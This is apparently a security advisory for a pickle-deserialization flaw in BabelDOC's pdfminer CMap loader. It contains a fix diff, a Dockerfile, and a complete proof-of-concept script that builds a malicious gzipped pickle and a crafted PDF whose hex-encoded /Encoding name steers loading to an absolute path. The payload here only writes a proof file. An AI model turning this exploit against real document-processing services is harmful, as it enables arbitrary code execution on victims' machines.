BabelDOC: Arbitrary Code Execution via CMap Pickle Deserialization in babeldoc/pdfminer/cmapdb.py

 1@classmethod
 2def _load_data(cls, name: str) -> Any:
 3    name = name.replace("\0", "")          # line 233 — only NUL is stripped
 4    filename = "%s.pickle.gz" % name       # line 234 — attacker-controlled string
 5    ...
 6    for directory in cmap_paths:
 7        path = os.path.join(directory, filename)   # line 241 — no realpath/canonical check
 8        if os.path.exists(path):
 9            gzfile = gzip.open(path)
10            try:
11                return type(str(name), (), pickle.loads(gzfile.read()))  # line 245 — unconditional pickle

 1--- a/babeldoc/pdfminer/cmapdb.py
 2+++ b/babeldoc/pdfminer/cmapdb.py
 3@@
 4         cmap_paths = (
 5             os.environ.get("CMAP_PATH", "/usr/share/pdfminer/"),
 6             os.path.join(os.path.dirname(__file__), "cmap"),
 7         )
 8         for directory in cmap_paths:
 9-            path = os.path.join(directory, filename)
10+            base_dir = os.path.realpath(directory)
11+            path = os.path.realpath(os.path.join(base_dir, filename))
12+            try:
13+                if os.path.commonpath([base_dir, path]) != base_dir:
14+                    continue
15+            except ValueError:
16+                continue
17             if os.path.exists(path):
18                 gzfile = gzip.open(path)

 1# From the repository root
 2docker build -t vuln-001-babeldoc-cmap -f vuln-001/Dockerfile .
 3docker run --rm vuln-001-babeldoc-cmap

 1python3 -m venv /tmp/babeldoc-poc-venv
 2source /tmp/babeldoc-poc-venv/bin/activate
 3pip install freetype-py==2.5.1 charset-normalizer cryptography
 4export PYTHONPATH=/path/to/BabelDOC
 5python3 poc.py

 1import gzip, pathlib, pickle, sys
 2 
 3CMAP_STAGING_DIR = pathlib.Path("/tmp/babeldoc-cmap-poc")
 4MALICIOUS_PICKLE = CMAP_STAGING_DIR / "malicious.pickle.gz"
 5MALICIOUS_PDF    = CMAP_STAGING_DIR / "malicious.pdf"
 6PROOF_FILE       = pathlib.Path("/tmp/babeldoc_cmap_rce_proof.txt")
 7 
 8# Step 1 — write the malicious pickle to a world-writable location
 9class MaliciousPayload:
10    def __reduce__(self):
11        return (pathlib.Path(str(PROOF_FILE)).write_text,
12                ("RCE_CONFIRMED: pickle.loads executed attacker payload",))
13 
14CMAP_STAGING_DIR.mkdir(parents=True, exist_ok=True)
15with gzip.open(MALICIOUS_PICKLE, "wb") as fh:
16    pickle.dump(MaliciousPayload(), fh)
17 
18# Step 2 — craft a PDF whose /Encoding name hex-encodes the absolute path
19# "/#2Ftmp#2Fbabeldoc-cmap-poc#2Fmalicious" decodes to "/tmp/babeldoc-cmap-poc/malicious"
20encoding_name = b"/#2Ftmp#2Fbabeldoc-cmap-poc#2Fmalicious"
21 
22# ... (minimal PDF structure with a Type0 CID font referencing encoding_name) ...
23# Full source in poc.py
24 
25# Step 3 — trigger via the pdfminer high-level API
26from babeldoc.pdfminer.high_level import extract_text
27try:
28    extract_text(str(MALICIOUS_PDF))
29except TypeError:
30    pass  # expected: type(name, (), <int>) fails after write_text returns int
31 
32# Step 4 — verify
33assert PROOF_FILE.exists(), "FAIL: proof file not created"
34print(PROOF_FILE.read_text())  # => "RCE_CONFIRMED: pickle.loads executed attacker payload"

 1[+] Malicious pickle written: /tmp/babeldoc-cmap-poc/malicious.pickle.gz
 2[+] Malicious PDF written: /tmp/babeldoc-cmap-poc/malicious.pdf
 3[*] Calling extract_text(/tmp/babeldoc-cmap-poc/malicious.pdf) ...
 4[*] extract_text raised TypeError: type.__new__() argument 3 must be dict, not int
 5[*] This exception is expected; the payload ran before it.
 6 
 7============================================================
 8RESULT: PASS
 9Proof file: /tmp/babeldoc_cmap_rce_proof.txt
10Content:    'RCE_CONFIRMED: pickle.loads executed attacker payload'
11============================================================

 1PDF /Encoding  /#2Ftmp#2Fbabeldoc-cmap-poc#2Fmalicious
 2  -> pdfminer hex-decodes #2F -> '/'
 3  -> literal_name = "/tmp/babeldoc-cmap-poc/malicious"
 4  -> CMapDB._load_data("/tmp/babeldoc-cmap-poc/malicious")
 5  -> filename = "/tmp/babeldoc-cmap-poc/malicious.pickle.gz"   # absolute path!
 6  -> os.path.join("/usr/share/pdfminer/", "/tmp/.../malicious.pickle.gz")
 7     == "/tmp/babeldoc-cmap-poc/malicious.pickle.gz"           # first arg discarded
 8  -> gzip.open() + pickle.loads() -> arbitrary code execution

 1FROM python:3.11-slim
 2 
 3# Install system-level dependencies for freetype
 4RUN apt-get update && apt-get install -y --no-install-recommends \
 5    libfreetype6 \
 6    && rm -rf /var/lib/apt/lists/*
 7 
 8# Install minimal Python dependencies required by babeldoc/pdfminer
 9RUN pip install --no-cache-dir \
10    freetype-py==2.5.1 \
11    charset-normalizer \
12    cryptography
13 
14# Copy the BabelDOC repository (only babeldoc package directory is needed)
15COPY repo/babeldoc /app/babeldoc
16 
17# Copy the PoC script
18COPY vuln-001/poc.py /app/poc.py
19 
20WORKDIR /app
21 
22# PYTHONPATH exposes babeldoc package without a full pip install
23ENV PYTHONPATH=/app
24 
25CMD ["python3", "poc.py"]

 1"""
 2PoC: CMap Pickle Deserialization via Absolute Path Injection
 3CVE Candidate: VULN-001 in funstory-ai/BabelDOC v0.6.2
 4 
 5Vulnerability: babeldoc/pdfminer/cmapdb.py _load_data() only strips NUL bytes
 6from the CMap name before building a filesystem path.  A PDF name object
 7using #xx hex-encoding can inject absolute path characters (/) so that
 8os.path.join() discards the trusted cmap directory entirely, opening and
 9unpickling an attacker-placed .pickle.gz file.
10 
11Attack flow:
12  PDF /Encoding  /#2Ftmp#2F...#2Fmalicious
13    -> pdfminer hex-decodes #2F -> '/'
14    -> literal_name() returns "/tmp/.../malicious"
15    -> _load_data("/tmp/.../malicious")
16    -> filename = "/tmp/.../malicious.pickle.gz"   (absolute path!)
17    -> os.path.join("/usr/share/pdfminer/", "/tmp/.../malicious.pickle.gz")
18       == "/tmp/.../malicious.pickle.gz"            (Python discards first arg)
19    -> gzip.open() + pickle.loads() => arbitrary code execution
20"""
21 
22import gzip
23import os
24import pathlib
25import pickle
26import sys
27 
28# ---------------------------------------------------------------------------
29# Configuration
30# ---------------------------------------------------------------------------
31CMAP_STAGING_DIR = pathlib.Path("/tmp/babeldoc-cmap-poc")
32MALICIOUS_PICKLE = CMAP_STAGING_DIR / "malicious.pickle.gz"
33MALICIOUS_PDF = CMAP_STAGING_DIR / "malicious.pdf"
34PROOF_FILE = pathlib.Path("/tmp/babeldoc_cmap_rce_proof.txt")
35 
36 
37# ---------------------------------------------------------------------------
38# Step 1: Build the malicious pickle payload
39# ---------------------------------------------------------------------------
40class MaliciousPayload:
41    """Pickle payload that writes a proof file on deserialization."""
42 
43    def __reduce__(self):
44        # Write proof file when unpickled; any writable command works here.
45        return (
46            pathlib.Path(str(PROOF_FILE)).write_text,
47            ("RCE_CONFIRMED: pickle.loads executed attacker payload",),
48        )
49 
50 
51def create_malicious_pickle():
52    CMAP_STAGING_DIR.mkdir(parents=True, exist_ok=True)
53    PROOF_FILE.unlink(missing_ok=True)
54 
55    with gzip.open(MALICIOUS_PICKLE, "wb") as fh:
56        pickle.dump(MaliciousPayload(), fh)
57 
58    print(f"[+] Malicious pickle written: {MALICIOUS_PICKLE}")
59 
60 
61# ---------------------------------------------------------------------------
62# Step 2: Build the malicious PDF
63# ---------------------------------------------------------------------------
64def create_malicious_pdf():
65    """
66    Craft a minimal PDF with a Type0 CID font whose /Encoding name is a
67    PDF literal that hex-encodes an absolute Unix path.
68 
69    PDF name syntax: /<characters>  where #xx is hex escape for byte 0xxx.
70    "/#2Ftmp#2Fbabeldoc-cmap-poc#2Fmalicious" decodes to the name value
71    "/tmp/babeldoc-cmap-poc/malicious" (starts with '/').
72 
73    When passed through babeldoc/pdfminer:
74      literal_name(PSLiteral) -> "/tmp/babeldoc-cmap-poc/malicious"
75      _load_data()  -> filename = "/tmp/babeldoc-cmap-poc/malicious.pickle.gz"
76      os.path.join("/usr/share/pdfminer/", "/tmp/.../malicious.pickle.gz")
77        => "/tmp/babeldoc-cmap-poc/malicious.pickle.gz"  (absolute wins!)
78    """
79    # Hex-encoded encoding name: /tmp/babeldoc-cmap-poc/malicious
80    # '#2F' = '/' in PDF name hex encoding
81    encoding_name = b"/#2Ftmp#2Fbabeldoc-cmap-poc#2Fmalicious"
82 
83    content_stream = b"BT\n/F1 12 Tf\n100 700 Td\n(Malicious PDF) Tj\nET\n"
84 
85    # PDF objects (1-indexed)
86    objs = [
87        # 1: Catalog
88        b"<< /Type /Catalog /Pages 2 0 R >>",
89        # 2: Pages
90        b"<< /Type /Pages /Kids [3 0 R] /Count 1 >>",
91        # 3: Page - references content stream (4) and font (5)
92        b"<< /Type /Page /Parent 2 0 R /MediaBox [0 0 612 792]"
93        b" /Contents 4 0 R /Resources << /Font << /F1 5 0 R >> >> >>",
94        # 4: Content stream
95        b"<< /Length %d >>\nstream\n" % len(content_stream)
96        + content_stream
97        + b"\nendstream",
98        # 5: Type0 font with malicious /Encoding name
99        b"<< /Type /Font /Subtype /Type0 /BaseFont /MalFont"
100        b" /Encoding " + encoding_name + b""
101        b" /DescendantFonts [6 0 R] >>",
102        # 6: CIDFontType2 descendant
103        b"<< /Type /Font /Subtype /CIDFontType2 /BaseFont /MalFont"
104        b" /CIDSystemInfo << /Registry (Adobe) /Ordering (Identity)"
105        b" /Supplement 0 >> /FontDescriptor 7 0 R >>",
106        # 7: FontDescriptor (minimal)
107        b"<< /Type /FontDescriptor /FontName /MalFont /Flags 4"
108        b" /FontBBox [-1000 -1000 1000 1000] /ItalicAngle 0"
109        b" /Ascent 1000 /Descent -200 /CapHeight 800 /StemV 80 >>",
110    ]
111 
112    buf = bytearray(b"%PDF-1.4\n")
113    offsets = []
114    for i, obj_data in enumerate(objs, 1):
115        offsets.append(len(buf))
116        buf += f"{i} 0 obj\n".encode() + obj_data + b"\nendobj\n"
117 
118    xref_offset = len(buf)
119    buf += f"xref\n0 {len(objs) + 1}\n0000000000 65535 f \n".encode()
120    for off in offsets:
121        buf += f"{off:010d} 00000 n \n".encode()
122    buf += (
123        f"trailer\n<< /Size {len(objs) + 1} /Root 1 0 R >>\n"
124        f"startxref\n{xref_offset}\n%%EOF\n"
125    ).encode()
126 
127    MALICIOUS_PDF.write_bytes(bytes(buf))
128    print(f"[+] Malicious PDF written: {MALICIOUS_PDF}")
129 
130 
131# ---------------------------------------------------------------------------
132# Step 3: Trigger the vulnerability via babeldoc pdfminer extract_text
133# ---------------------------------------------------------------------------
134def trigger_exploit():
135    from babeldoc.pdfminer.high_level import extract_text
136 
137    print(f"[*] Calling extract_text({MALICIOUS_PDF}) ...")
138    try:
139        result = extract_text(str(MALICIOUS_PDF))
140        print(f"[+] extract_text completed, returned {len(result)} chars")
141    except Exception as exc:
142        # A TypeError is expected: after pickle.loads() returns the result of
143        # write_text() (an int), the code tries type(name, (), <int>) which
144        # raises TypeError.  The write has already happened at this point.
145        print(f"[*] extract_text raised {type(exc).__name__}: {exc}")
146        print("[*] This exception is expected; the payload ran before it.")
147 
148 
149# ---------------------------------------------------------------------------
150# Step 4: Verify RCE evidence
151# ---------------------------------------------------------------------------
152def verify_rce():
153    if PROOF_FILE.exists():
154        content = PROOF_FILE.read_text()
155        print()
156        print("=" * 60)
157        print("RESULT: PASS")
158        print(f"Proof file: {PROOF_FILE}")
159        print(f"Content:    {content!r}")
160        print("=" * 60)
161        return True
162    else:
163        print()
164        print("=" * 60)
165        print("RESULT: FAIL")
166        print(f"Proof file {PROOF_FILE} was NOT created.")
167        print("=" * 60)
168        return False
169 
170 
171# ---------------------------------------------------------------------------
172# Main
173# ---------------------------------------------------------------------------
174def main():
175    print("=== VULN-001 PoC: CMap Pickle Deserialization via Path Injection ===")
176    print(f"Python: {sys.version}")
177    print()
178 
179    create_malicious_pickle()
180    create_malicious_pdf()
181    trigger_exploit()
182    success = verify_rce()
183 
184    sys.exit(0 if success else 1)
185 
186 
187if __name__ == "__main__":
188    main()